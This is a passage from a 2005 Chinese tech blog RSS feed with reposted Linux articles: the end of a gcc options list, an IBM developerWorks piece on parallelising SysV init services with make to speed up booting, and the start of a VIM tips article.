<BR>将DIRNAME加入到头文件的搜索目录列表中 <BR><BR>-LDIRNAME <BR>将DIRNAME加入到库文件的搜索目录列表中，缺省情况下gcc 只链接共享库 <BR><BR>-static <BR>链接静态库，即执行静态链接 <BR><BR>-lFOO <BR>链接名为libFOO的函数库 <BR><BR>-g <BR>在可执行程序中包含标准调试信息 <BR><BR>-ggdb <BR>在可执行程序中包含只有GNU debugger才能使别的达两条是信息 <BR><BR>-O <BR>优化编译过的代码 <BR><BR>-ON <BR>指定代码优化的级别为N,o&lt;=N&lt;=3 <BR><BR>-ansi <BR>支持ANSI/ISO C的标准语法，取消GNU的语法扩展中与该标准有冲突的部分 <BR>(但这一选项并不能保证生成ANSI兼容的代码) <BR><BR>-pedantic <BR>允许发出ANSI/ISO C标准所列出的所有警告 <BR><BR>-pedantic -errors <BR>允许发出ANSI/ISO C标准所列出的所有错误 <BR><BR>-traditional <BR>支持Kernighan &amp; Ritchie C语法(如用旧式语法定义函数);如果不知道这个选项的含义,也没有关系 <BR><BR>-w <BR>关闭所有警告,建议不要使用此项 <BR><BR>.Wall <BR>允许发出gcc能提供的所有有用的警告,也可以用-W(warning)来标记指定的警告 <BR><BR>-werror <BR>把所有警告转换为错误,以在警告发生时中止编译过程 <BR><BR>-MM <BR>输出一个make兼容的相关列表 <BR><BR>-v <BR>显示在编译过程的每一步中用到的命令 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2086.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:02 <a href="http://www.cnitblog.com/cyberfan/articles/2086.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>加快LINUX的引导</title><link>http://www.cnitblog.com/cyberfan/articles/2084.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:01:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2084.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2084.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2084.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2084.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2084.html</trackback:ping><description><![CDATA[通过并行化 Linux 系统服务来提高引导速度 <BR>级别：中级<BR><BR><BR>James Hunt (jameshunt-at-uk.ibm.com软件工程师，IBM<BR>2003 年 11 月<BR><BR>本文向您描述了如何在不影响可用性的前提下加快 Linux 操作系统的引导速度。当然，这种方法要求您对系统服务及服务之间的依赖关系有所理解，如果它们可以并行启动，就让它们并行启动而不是串行启动。<BR>毫无疑问 Linux 是一个优秀的系统，但仍然无法摆脱一个常见的责难（尤其是来自具有 Microsoft Windows 背景的人），那就是 Linux 系统从按下“on”键开始到可以使用，需要的时间太长。其实他们说的没错，Linux 确实需要比较长的引导时间。<BR><BR>在这里我所描述的加快 Linux 引导速度的技术虽然理解起来很简单，但真正实现却需要谨慎行事。我希望 Linux 的发行商能采用这种方法，这样用户就可以省去那些配置任务。不过如果您喜欢冒险，请继续阅读本文。<BR><BR>写在开始之前<BR>如果您想体验一下这种方法，您首先必须得熟悉 Linux 的配置脚本。修改系统的启动设置可能会带来危险，甚至可能会导致您的系统无法启动。如果出现这种情况，请重新启动机器并进入单一用户模式（运行级1），把 您所做的修改还原回来，然后再重新启动。永远记住要备份您所修改过的所有文件，为了防止最坏的情况发生，您还需要有至少一个系统备份的映像。<BR><BR>我强烈建议您在考虑用我所建议的方法修改一个正式的系统之前，先去修改一个无关紧要的测试系统。如果您只有一台机器，那么您可以使用 UML (User Mode Linux) 这一非常有用的工具。UML是一个内核补丁，它可以将Linux内核编译成为一个二进制文件，然后您可以像运行一个普通的程序一样去运行这个内核。也就是 说，您可以在您的正常的系统之上以一个进程的方式来运行一个完整的 Linux 系统。您可以将其想象为在一个正常的系统中运行一个 Linux 系统。(请参阅本文末尾的参考资料，可以找到可以下载UML的站点以及 developerWorks 网站上关于UML的教程)。<BR><BR>使用UML您可以工作于一个测试系统，哪怕把这个测试系统完全破坏掉，也不会影响您正常的系统。<BR><BR>概述<BR>本文的第一部分介绍当 Linux 内核（Linux 机器的的“核心”）加载后，一个 Linux 系统怎样在后台启动。然后介绍加快您的系统引导速度的技术。<BR><BR>如果您对运行级和服务启动脚本已经熟悉，您可能希望直接跳转到传统服务框架的局限。<BR><BR>Linux 引导次序和运行级<BR>一个 Linux 系统的引导过程可以分为几个阶段。本文并不会解释所有的不同阶段，因为我们所关心只是当内核加载后的那一个阶段。<BR><BR>您可以运行 /sbin/runlevel 命令来确定您的系统当前的运行级。（更多详细信息请查阅 man runlevel）。<BR><BR>当内核被加载并开始运行时会调用 /sbin/init 程序。这个程序以 root 身份运行，并且在开始引导时按照要求设定为“运行级”。（更多关于 init 程序的详细信息，请参考 man init）<BR><BR>什么是运行级？<BR>一个运行级仅仅是一个数字，Linux根据这个数字来区分不同类型的高层次配置，系统将按照不同的高层次配置来进行引导。由于绝大部分运行级数字都定义了明确的含义，因而它们基本上是“众所周知”的。Red Hat Linux 系统的主要运行级见表1。<BR><BR>表 1. Red Hat Linux运行级 运行级 说明 <BR>0 关闭 <BR>1 单一用户模式（一般仅用于管理目的） <BR>2 多用户模式，不允许使用网络 <BR>3 多用户模式，允许使用网络 <BR>4 没有用到的运行级 <BR>5 多用户模式，允许使用网络，X-Windows 方式（图形登录界面） <BR>6 重新引导 <BR><BR>init如何初始化系统<BR>init 通过一个ASCII配置文件(/etc/inittab)来确定如何改变运行级。通常，init 会根据这个配置文件去运行 /etc/rc.d/rc 脚本，并将运行级数字传递给这一脚本。<BR><BR>rc.sysinit 脚本<BR>在 Red Hat 系统中，在运行 rc 脚本之前，init 将首先运行 /etc/rc.d/rc.sysinit 脚本，这个脚本执行那些必需的底层设置任务，比如设置系统时钟，检查磁盘错误，然后挂载文件系统。<BR><BR><BR>在本文看来，正是从运行 rc 脚本开始，事情才变得有趣。<BR><BR>系统服务<BR>rc 脚本负责启动用户需要的所有服务。就像名字所描述的一样，所谓服务就是系统提供的有用的工具。可能会有很多服务需要启动。大部分的 Linux 系统会启动 sshd（安全Shell服务）、syslog（系统日志工具）和 lpd（打印服务），但还会有更多的服务需要启动。比如，我的 Red Hat 9 系统现在运行着29个服务，但如果我把所有的服务都启动，那么我的系统中将会有近50服务在运行。<BR><BR>还有一点很重要，我们应该明白有的服务可能只能由特定的运行级来启动。比如，除了运行级5（多用户图形方式）以外，几乎不会启动某种形式的图形服务，因为其它所有的运行级都是非图形方式的。接下来我们将深入讨论这一问题。 <BR><BR>服务程序在哪里？<BR><BR>可选的服务程序目录<BR>在一些 Linux 系统中，服务程序有时候是在 /etc/init.d 目录下。<BR><BR><BR>通常在 /etc/rc.d/init.d/ 目录下可以找到服务程序。<BR><BR>如果你浏览一下这个目录，你就会发现相当多的（如果不是全部都是的话）服务程序实际上都是 shell 脚本，用于调用其他程序完成实际的工作。<BR><BR>rc 脚本如何知道在每个运行级下去运行哪些脚本？<BR>回顾一下，如果我们不希望在某个运行级 下运行某个脚本，我们如何告诉系统这样去做？答案是在 /etc/rc.d/ 目录下，在这个目录下，除了我们已经讨论过的 init.d/ 目录以外，还有一组目录，每一个目录对应一个运行级。这些目录以 rc&lt;runlevel&gt;.d 的形式来命名，比如，对应运行级5的目录为 /etc/rc.d/rc5.d/　。在这些rc.d目录中，每一个目录下都有一组符号链接，指向 /etc/rc.d/init.d 中的真正的服务程序。实际上，后边我们会发现，每个服务事实上有两个符号链接。<BR><BR>服务链接名<BR>这些指向实际服务程序的符号链接的名字很重要，它们遵循严格的命名约定，这样 rc 脚本就知道如何处理它们。<BR><BR>为了便于标识，每个链接的名字都以它们所指向的服务的名字做为后缀。<BR><BR>前缀由两部分构成：一个大写字母，紧跟着是一个两位的十进制数。前缀中的大写字母是“S”（表示“启动”），或者“K”（表示“杀死”，或者停止）。两位数的大小范围是自00到99。 <BR><BR>服务链接名正则表达式<BR>符号链接的名字可以用 egrep 正则表达式来描述，[SK][0-9]{2}[a-zA-Z]+。（更多详细信息请参阅 man egrep）。<BR><BR><BR>启动和停止服务<BR>如果我们决定让 Linux 机器引导到图形模式（运行级5），当 init 调用 rc 脚本并传递给它运行级数字时，rc 脚本将到 /etc/rc.d/rc5.d/ 中查找，并且去运行它所能找到的所有符号链接（也就是说，它将运行每个链接指向的程序/脚本）。它将在两个截然不同的阶段来运行这些链接；首先它会执行所 有以“K”开头的链接，同时传递给它们参数“stop”。执行完以后，所有这些链接指向的服务都被停止。<BR><BR>当 rc 脚本把所有需要停止的服务都停止后，它将去执行所有以“S”开头的链接，同时传递给它们参数“start”。执行完以后，所以这些链接指向的服务都被启动。rc 脚本也把参数“start”传递给每一个程序。<BR><BR>rc 把参数“tart”或者“stop”传递给每一个服务程序，这样做是为了只用一个服务程序可以启动或停止那个服务——服务程序根据传递给它的参数值分辨系统是正在引导还是正在关闭。<BR><BR>有一个重要的方面我还没有解释——链接名的数字部分。在“S”或者“K”之后的两位十进制数是 rc 脚本用来确定启动链接（就是链接指向的服务）的顺序的。数字较小（比如00，01，等等）的链接在数字较大（99是最大的）链接之前运行。我们会在本文后边的内容中再次提到这一重点问题。<BR><BR>现在还迷惑吗？清单1列出了运行级5对应目录下的所有链接。当引导到运行级5的时候，最先被执行的链接将是 K05saslauthd，因为它以“K”开头，并且在所有的以“K”开头的链接中两位十进制数是最小。最先被执行的启动链接将是 S05kudzu，因为它以“S”开头，并且在所有以“S”开头的链接中两位十进制数是最小的。最后一个运行的链接将是 S99local。<BR><BR>清单 1. 运行级5的指向服务程序的链接<BR># cd /etc/rc.d/rc5.d# ls -altotal 8drwxr-xr-x 2 root root 4096 Jul 15 09:29 .drwxr-xr-x 10 root root 4096 Jun 21 08:52 ..lrwxrwxrwx 1 root root 19 Jan 1 2000 K05saslauthd -&gt; ../init.d/saslauthdlrwxrwxrwx 1 root root 20 Feb 1 2003 K15postgresql -&gt; ../init.d/postgresqllrwxrwxrwx 1 root root 13 Jan 1 2000 K20nfs -&gt; ../init.d/nfslrwxrwxrwx 1 root root 14 Jan 1 2000 K24irda -&gt; ../init.d/irdalrwxrwxrwx 1 root root 17 Jan 1 2000 K35winbind -&gt; ../init.d/winbindlrwxrwxrwx 1 root root 15 Jan 1 2000 K50snmpd -&gt; ../init.d/snmpdlrwxrwxrwx 1 root root 19 Jan 1 2000 K50snmptrapd -&gt; ../init.d/snmptrapdlrwxrwxrwx 1 root root 16 Jun 21 09:43 K50vsftpd -&gt; ../init.d/vsftpdlrwxrwxrwx 1 root root 16 Jun 21 08:57 K73ypbind -&gt; ../init.d/ypbindlrwxrwxrwx 1 root root 14 Jun 21 08:54 K74nscd -&gt; ../init.d/nscdlrwxrwxrwx 1 root root 18 Feb 8 11:15 K92iptables -&gt; ../init.d/iptableslrwxrwxrwx 1 root root 19 Feb 1 2003 K95firstboot -&gt; ../init.d/firstbootlrwxrwxrwx 1 root root 15 Jan 1 2000 S05kudzu -&gt; ../init.d/kudzulrwxrwxrwx 1 root root 14 Jun 21 08:55 S09isdn -&gt; ../init.d/isdnlrwxrwxrwx 1 root root 17 Jan 1 2000 S10network -&gt; ../init.d/networklrwxrwxrwx 1 root root 16 Jan 1 2000 S12syslog -&gt; ../init.d/sysloglrwxrwxrwx 1 root root 17 Jan 1 2000 S13portmap -&gt; ../init.d/portmaplrwxrwxrwx 1 root root 17 Jan 1 2000 S14nfslock -&gt; ../init.d/nfslocklrwxrwxrwx 1 root root 18 Jan 1 2000 S17keytable -&gt; ../init.d/keytablelrwxrwxrwx 1 root root 16 Jan 1 2000 S20random -&gt; ../init.d/randomlrwxrwxrwx 1 root root 16 Jun 21 08:52 S24pcmcia -&gt; ../init.d/pcmcialrwxrwxrwx 1 root root 15 Jan 1 2000 S25netfs -&gt; ../init.d/netfslrwxrwxrwx 1 root root 14 Jan 1 2000 S26apmd -&gt; ../init.d/apmdlrwxrwxrwx 1 root root 16 Jan 1 2000 S28autofs -&gt; ../init.d/autofslrwxrwxrwx 1 root root 14 Jan 1 2000 S55sshd -&gt; ../init.d/sshdlrwxrwxrwx 1 root root 20 Jan 1 2000 S56rawdevices -&gt; ../init.d/rawdeviceslrwxrwxrwx 1 root root 16 Jan 1 2000 S56xinetd -&gt; ../init.d/xinetdlrwxrwxrwx 1 root root 14 Feb 1 2003 S58ntpd -&gt; ../init.d/ntpdlrwxrwxrwx 1 root root 13 Jun 21 10:42 S60afs -&gt; ../init.d/afslrwxrwxrwx 1 root root 13 Jan 1 2000 S60lpd -&gt; ../init.d/lpdlrwxrwxrwx 1 root root 16 Feb 8 17:26 S78mysqld -&gt; ../init.d/mysqldlrwxrwxrwx 1 root root 18 Jan 1 2000 S80sendmail -&gt; ../init.d/sendmaillrwxrwxrwx 1 root root 13 Jan 1 2000 S85gpm -&gt; ../init.d/gpmlrwxrwxrwx 1 root root 15 Mar 22 08:24 S85httpd -&gt; ../init.d/httpdlrwxrwxrwx 1 root root 15 Jan 1 2000 S90crond -&gt; ../init.d/crondlrwxrwxrwx 1 root root 13 Jan 1 2000 S90xfs -&gt; ../init.d/xfslrwxrwxrwx 1 root root 17 Jan 1 2000 S95anacron -&gt; ../init.d/anacronlrwxrwxrwx 1 root root 13 Jan 1 2000 S95atd -&gt; ../init.d/atdlrwxrwxrwx 1 root root 15 Jun 21 08:57 S97rhnsd -&gt; ../init.d/rhnsdlrwxrwxrwx 1 root root 14 Jul 15 09:29 S98wine -&gt; ../init.d/winelrwxrwxrwx 1 root root 13 Feb 8 17:26 S99db2 -&gt; ../init.d/db2lrwxrwxrwx 1 root root 11 Jun 21 08:52 S99local -&gt; ../rc.local# <BR><BR><BR>这看起来好象是非常复杂的系统，但实际上它提供了极好的灵活性，因为如果您想临时禁止某个特定运行级中的服务，只要把适当的符号链接删除即可。不 过，手工管理这些链接可能会让人感觉厌烦，并且容易出错（尤其当您累了的时候），所以可以采用一个相对好一些的方法，使用 chkconfig 命令。<BR><BR>chkconfig 和 xinetd<BR>如果您有一个新版本的 chkconfig ，您会在主输出的最后一部分看到有关 xinetd (Internet services daemon)的配置。为了减化说明，此部分没有列入清单2中。<BR><BR><BR>如何找出激活的服务<BR>想查看您已经激活了多少服务，运行这个命令：<BR><BR>/sbin/chkconfig --list <BR><BR>清单 2 列出了这个命令的输出。您可以看到，每一行有八列。<BR><BR>chkconfig 命令还可以用来切换任何一个服务的开或关。详细信息请参考手册页（man chkconfig）。<BR><BR>清单 2. chkconfig --list|sort的输出<BR>afs 0:off 1:off 2:off 3:on 4:off 5:on 6:offanacron 0:off 1:off 2:on 3:on 4:on 5:on 6:offapmd 0:off 1:off 2:on 3:on 4:on 5:on 6:offatd 0:off 1:off 2:off 3:on 4:on 5:on 6:offautofs 0:off 1:off 2:off 3:on 4:on 5:on 6:offcrond 0:off 1:off 2:on 3:on 4:on 5:on 6:offdb2 0:off 1:off 2:off 3:on 4:off 5:on 6:offfirstboot 0:off 1:off 2:off 3:off 4:off 5:off 6:offgpm 0:off 1:off 2:on 3:on 4:on 5:on 6:offhttpd 0:off 1:off 2:off 3:off 4:off 5:on 6:offiptables 0:off 1:off 2:off 3:off 4:off 5:off 6:offirda 0:off 1:off 2:off 3:off 4:off 5:off 6:offisdn 0:off 1:off 2:on 3:on 4:on 5:on 6:offkeytable 0:off 1:on 2:on 3:on 4:on 5:on 6:offkudzu 0:off 1:off 2:off 3:on 4:on 5:on 6:offlpd 0:off 1:off 2:on 3:on 4:on 5:on 6:offmysqld 0:off 1:off 2:off 3:on 4:off 5:on 6:offnetfs 0:off 1:off 2:off 3:on 4:on 5:on 6:offnetwork 0:off 1:off 2:on 3:on 4:on 5:on 6:offnfs 0:off 1:off 2:off 3:off 4:off 5:off 6:offnfslock 0:off 1:off 2:off 3:on 4:on 5:on 6:offnscd 0:off 1:off 2:off 3:off 4:off 5:off 6:offntpd 0:off 1:off 2:off 3:on 4:off 5:on 6:offpcmcia 0:off 1:off 2:on 3:on 4:on 5:on 6:offportmap 0:off 1:off 2:off 3:on 4:on 5:on 6:offpostgresql 0:off 1:off 2:off 3:off 4:off 5:off 6:offrandom 0:off 1:off 2:on 3:on 4:on 5:on 6:offrawdevices 0:off 1:off 2:off 3:on 4:on 5:on 6:offrhnsd 0:off 1:off 2:off 3:on 4:on 5:on 6:offsaslauthd 0:off 1:off 2:off 3:off 4:off 5:off 6:offsendmail 0:off 1:off 2:on 3:on 4:on 5:on 6:offsnmpd 0:off 1:off 2:off 3:off 4:off 5:off 6:offsnmptrapd 0:off 1:off 2:off 3:off 4:off 5:off 6:offsshd 0:off 1:off 2:on 3:on 4:on 5:on 6:offsyslog 0:off 1:off 2:on 3:on 4:on 5:on 6:offvsftpd 0:off 1:off 2:off 3:off 4:off 5:off 6:offwinbind 0:off 1:off 2:off 3:off 4:off 5:off 6:offwine 0:off 1:off 2:on 3:on 4:on 5:on 6:offxfs 0:off 1:off 2:on 3:on 4:on 5:on 6:offxinetd 0:off 1:off 2:off 3:on 4:on 5:on 6:offypbind 0:off 1:off 2:off 3:off 4:off 5:off 6:off<BR><BR><BR>清单 2中第一列是服务的名字，接下来的列是运行级和每一个运行级中服务的状态。例如，ntpd (Network time daemon)服务被配置为只在运行级3中（多用户，无图形）和运行级5（多用户，有图形）中启动，sshd 服务在运行级2，3，4和5中都被切换到开的状态。<BR><BR>注意在运行级0和6中没有一个服务要启动。回顾表 1，原因显而易见。运行级1表示要关闭或停止系统，因此在机器将要“关闭”时，您不会想要启动任何服务。运行级6中也是如此。<BR><BR>运行级1——“单一用户模式”——是一个特别的运行级，一般在系统出问题的时候使用。一直以来，在运行级1中运行的唯一一个应用程序是 shell，允许超级用户来修复系统或者让超级用户在一个安全的环境中修改系统。这样是安全的——就像它的名字“单一用户模式”的含意一样——只有超级用 户可以访问系统。并且，联网是禁用的，所以没有人可以远程登录。如表 1所示，单一用户模式中运行的唯一一个服务是keytable，这样使得超级用户的键盘可以正常使用。<BR><BR>激活服务与运行服务的对比<BR>有时服务会由于某种原因无法启动，用下面这个命令查看当前有哪些服务正在运行：<BR><BR>/sbin/service --status-all <BR><BR>这个命令将为每个服务输出一行或多行，指出每个服务是否在运行，如果在运行，则列出服务的一些特定的输出，比如服务运行的PID（进程号）。service 命令没有手册页，但是您可以在运行这个命令时使用--help 选项，您就可以得到有关它的操作的一些帮助信息。<BR><BR>传统服务框架的缺陷<BR>关键的是，只有当配置中的所有服务都启动以后，您才可以登录进入您的 Linux 系统。等待50个服务启动可能会需要若干分钟，而这本来应该是您享用Linux系统的时间。<BR><BR>我已经找到了一个加速这个过程的方法。注意这种方法不会停止任何服务。不管怎样，停掉那些不用的服务是很明智的，不仅是因为这样可以加快引导的速度 （在机器可以登录之前需要运行的服务少了），而且，由于很多服务要以 root 用户身份来运行，停掉不用的服务会减少您的安全隐患。<BR><BR>扼要重述一下，当一个 Linux 系统引导时，它以一种连续的方式来运行所有的某个运行级所配置的所有服务——一个接一个地。这是一个耗时的操作。<BR><BR>或许一个很明显的加快服务启动速度的方法是并行地启动所有的服务，这样它们就可以同时启动。不幸的是，虽然这听起来很吸引人，却不可行。原因是各个 服务之间存在依赖的关系。Linux没有把这些依赖关系完全显式地表示出来，但是事实上这些依赖关系是存在的。还记得我们先前讨论的关于链接名字格式的问 题吗？在“S”和“K”之后的两位数决定了链接（也就是它们指向的服务）的运行顺序。这些数字确定了一个硬性的顺序，这样一定程度上也强化了服务之间的依 赖关系。<BR><BR>服务之间的依赖关系<BR>回顾清单 1, 我们可以看到 network 服务（S10network）将在ntpd服务（S58ntpd）之前运行。这是我们所期望的，因为 ntpd 服务要求网络可达，以使它可以连接一个本地时间服务器。不幸的是，这个硬性的顺序并不能告诉我们足够的信息，并且会让人误解。例如，在清单 1中 我们可以看到 lpd 服务(S60lpd)将在 network 服务之后运行。虽然这样对那些连接到网络并且使用网络打印机的 Linux 系统来说是正确的，但是这并不说明当背板上有一个 inkjet 打印机连接到本地系统时，lpd 服务还是必须要在 network 服务之后运行。实际上，在这种情况下，在启动 network 之前先启动 lpd 会更好一些。<BR><BR>再来看另外一个例子：crond （cron daemon）服务 (在清单 1中的 S90crond)也是在 network 启动之后运行。可是，如果您没有使用远程机器文件的 cron 文件，那么就应该让 crond 在 network 之前启动。<BR><BR>由于我刚才介绍的 Linux 下启动服务的传统方法有一定的局限性，往往倾向于“安全第一"，让所有的重要的服务先启动，然后再启动余下的那些。<BR><BR>所以，尽管我们不能并行地启动所有的服务，但我们可以并行地启动那些相互间没有依赖关系的服务。当这些相互间无依赖的服务启动以后，我们可以启动那些所有依赖条件已经满足（也就是说，那些服务所依赖的服务已经启动）的服务。然后重复这一过程，直到所有服务全部启动。<BR><BR>这个看起来是一个复杂的问题，不过幸运的是，已经有一个现成的可以用来解决这个问题的程序。这个程序不是别的，正是 make。<BR><BR>通常当编译软件时，make 会提供我们所需要的严密的框架。所有我们要做的就是告诉 make 什么是服务之间的依赖；它可以去做所有的计算交叉依赖的艰难工作，并且，使用它的鲜为人知的标记 -j ，它可以作为许多"作业"而同步运行。<BR><BR>得出服务间依赖关系<BR>如先前我间接提到的，传统的 Linux 系统没有显式地表示服务间的依赖关系，所以现在我们不得不自己去做一些艰难的工作，得出这些依赖关系。这可能会需要一段时间，因为您可能都不知道每个服务 在做什么，更别提服务之间的关系了。然而，如果您没有完成这些工作，这种方法对您来说没有任何益处。（如前面所提到的，如果这种方法有实用价值，希望 Linux 发行商可以采用它，并且为我们做这些艰难的工作。）<BR><BR>认识您的服务<BR>如果当您运行命令 /sbin/chkconfig --list时，您有可能会遇到一些您所不认识的服务，那么花一些时间去弄明白它。一个简单的方法是读那些控制相应服务的脚本中开头处的注释。<BR>这样您就可以把不用的那些工具所对应的服务关掉。即便是您需要它，这样您也可以更加了解您的系统。<BR><BR><BR><BR>现在，我们来做一个简单的实例。我们都知道，ntpd 服务需要网络，这说明 ntpd 服务依赖于network 服务。在 make 语法中这个依赖关系这样表示：<BR><BR>ntpd : network <BR><BR>我们还可以确定 netfs 服务（挂载我们所需要的所有NFS目录）依赖于网络。在我的系统（您的可能会不一样）上，autofs 服务(自动挂载网络文件系统)也依赖于 network 服务，因为我曾经自动挂载远程文件系统（您可能挂载光驱或者软驱）。我们的“依赖表”现在是这样：<BR><BR>ntpd : network<BR>netfs : network<BR>autofs : network <BR><BR>这看起来没什么，但是您知道这意味着什么吗？这意味着一旦 network 服务启动完成，我们可以并行地启动 ntpd，netfs 和 autofs 服务。<BR><BR>做为一个特定的例子，假设所有的服务都需要10秒才能启动。用传统的服务启动方法，启动 network，ntpd，netfs 和 autofs 服务需要40秒。而用这种技术，只需要20秒——节约的50%的时间。<BR><BR>为什么会这样？好了请看，network 服务启动需要10秒时间，但是（因为当 rc 脚本在运行时，机器处于完全多任务的状态）其余三个服务可以同时启动，所以这三个服务合起来的启动时间是10秒。<BR><BR>事实上，大部分服务需要的启动时间可能不是10秒，但是既然每一个服务要做一些完全不同的事情，启动它们所需要的时间会很可观。<BR><BR>样例实现<BR>我在参考资料部 分提供的压缩文件中有一个使用上述技术的样例实现。包括一个修改过的用于调用 make 命令的 rc 脚本，以及样例GNU makefile文件，分别是 runlevel.mk，start5.mk和stop5.mk。makefile 文件 runlevel.mk 是控制程序，start5.mk 文件和stop5.mk 文件分别是运行级5时启动和停止服务时的服务依赖描述文件。<BR><BR>注意所给出的启动和停止 makefile 文件提供的不是完全的服务间依赖关系列表，而仅仅是一个例子。同时也要注意，如果您不修改这些文件就在您的系统上使用，几乎不可能成功，因为您的服务列表可能和我的并不一样。<BR><BR>结束语（以及一些补充说明）<BR>我提出了一种用来加快 Linux 机器引导速度的方法。这种方法允许系统在启动服务时启动顺序中靠后的部分服务并行启动，而不是以传统的串行方式启动，以实现引导的加速。这种方法在理论上没有问题，并且可以利用现有的系统工具实现。<BR><BR>这种方法的效率取决于需要启动的服务的数量和每个服务启动所需要的时间。并行的可行性主要取决于服务间的依赖关系。对于某些系统来说，使用这种方法 可能只会有很小的改进，但对于其他系统，它可能会显著地影响引导速度。可以这样理解，每个系统都有不同的一组服务被激活，并且每一个服务需要不同的时间来 启动。再强调一次，要使用这种方法，您需要确定您的特定系统的服务之间的依赖关系。<BR><BR>补充说明： <BR><BR>一些服务程序仅仅是在后台运行一个程序，它们自己就退出了（也就是说，服务程序结束了，但是真实的工作仍然在后台进行）。这说明了一个事实，那就 是传统的系统是不完善的，这种服务程序编写者试图在现有框架的界限内减少一些时钟周期。采用本文描述的这种方法将会使依赖关系更加显式化，不需要服务编写 者再去“欺骗”。这种方法考虑到在这些服务程序之外建立一个更为高效的框架。<BR><BR>当您希望“交互式”引导您的系统时，这里所提到的技术不再适用，因为您通常是当系统某些地方出错的时候才会这样去做；在这种情况下，您 可能希望串行地去启动所有的服务以找出出错的原因。不过，修改系统的启动过程，来让用户在系统引导来选择是以串行的方式（允许交互的服务启动）或者“并 行”的服务启动方式，是容易实现的。<BR><BR>采用这种方法可能还需要更深入的考虑，因为如果传统的系统和新的系统都提供给用户，将需要同步维持两组关于服务如何启动的信息（有序的 rc.d/ 链接文件和运行级 make 文件）。一个更好一些的解决方案是 Linux 发行版本能从 makefile 文件自动生成链接文件，因为 makefile 文件比链接文件记录了更多的关于服务的信息。<BR><BR>这个系统可能对一个专用的服务器来说并不适合，因为当一个服务发生错误时，管理员希望能在错误发生时在控制台中马上可以看到这个错误。不过，对于普通的终端用户来说，并行化的方法可以在允许用户查看是否有问题发生的前提下显著地加快引导速度。<BR><BR>有趣的是，尽管我提出的这种方法从传统观点来看不是“类似Linux的”，但 Linux 基础标准 (LSB，Linux Standards Base)看起来并没有要指定 init.d 脚本的运行顺序，所以这种方法有可能被 Linux 发行商所采用，而且使之仍然符合 LSB。这对用户来说是一个好消息，如前面所提到的，因为发行商可以为我们计算出所有的软件包之间的依赖关系。<BR><BR>有一种方法可能更为大胆，那就是 /etc/inittab 文件中的“action field”的“wait”修改为“once”。这样用户在服务启动完成之前就可以登录。不过，这已经超出了本文的范围。要得到更详细的信息请查阅 man inittab，并且请记住，UML是您的好帮手。 <BR>参考资料 <BR><BR>下载用本文所讨论的方法实现的一个样例的压缩包。<BR><BR>官方的 GNU Make 主页中有 make 程序的下载及 make 文档的链接。<BR><BR>LSB (Linux Standard Base) 的目标是明确定义 Linux 系统的构成。LSB 公共文档中包含了有关“系统初始化”的文档。<BR><BR>UML (User Mode Linux) 主页中有 UML 的下载及其文档的链接，使用UML您可以在真实的 Linux 系统上再启动一个“虚拟的”Linux 系统。<BR><BR>如果需要一个完全的指南来帮助您开始使用 UML, 请参阅教程“用户模式 Linux 简介” (developerWorks, 2003年1月)。<BR><BR>DeveloperWorks Linux 专区有更多的为 Linux 开发人员准备的资源。<BR><BR>关于作者<BR>James Hunt 是 英国 IBM Hursley 实验室的一名软件工程师。他不是一名赛车手，他的汽车也显然不是赛车。James 自己公开承认是一个Linux 迷，他一有机会就向其他的人来讲述相关的话题，并以此度过了很多美好的时光。他的工作内容是分布式平台（AIX，HP－UX，Linux，OS/400， Solaris和Windows）上的 WebSphere MQ 产品。他曾经做过 UNIX 系统管理员、数据库的管理和编程。他对 Linux 的文件系统和编译器感兴趣，并且他可能是现在仅有的 Perl 编码标准文档的作者。James 是一个古怪的人，喜欢写技术文档。在他的业余时间，他弹吉他，学瑜珈，开游艇，虽然他还未能设法把这些活动并行化。您可以通过 jameshunt-at-uk.ibm.com 与 James 联系 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2084.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 15:01 <a href="http://www.cnitblog.com/cyberfan/articles/2084.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>神奇的VIM</title><link>http://www.cnitblog.com/cyberfan/articles/2085.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 07:01:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2085.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2085.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2085.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2085.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2085.html</trackback:ping><description><![CDATA[当今世界，文本编辑器种类繁多，大有"乱花渐欲迷人眼"之势。中国有句古语：手巧不如家什妙，作为IT业的专业人士，选择一款优秀的编辑软件至关重要。笔者认为：LINUX下的VIM※以其强大的功能和无穷的魅力将使您终生受益。<BR>由 于被广泛移植，无论是PC机的DOS和WINDOWS，还是RISC/6000的AIX，乃至于IBM的大型机S/390，都能见到VIM的身影。然而， 对于初学者，VIM的用户界面与使用方法非常不符合常规，甚至认为它比较混乱，无所适从。事实上，VIM编辑器是专门为经验丰富的用户设计的，它的界面和 使用方法提供了更快的速度和更强的功能。对于熟知它的用户，VIM的许多特性节省了时间和击键次数，并可以完成一些其他编辑器无法完成的功能。<BR><BR>学习的最好方法是实践，唯有如此，才能真正掌握其中的精髓。文中列举的实例，都是笔者在实际工作中遇到的，具有一定的代表性，请大家在阅读的过程中仔细体会。<BR><BR>好了，现在让我们共同畅游神奇的VIM的世界！<BR><BR>例一、两个常用的指令序列<BR><BR>xp 左右交换光标处两字符的位置。 <BR>ddp 上下交换光标处两行的位置。 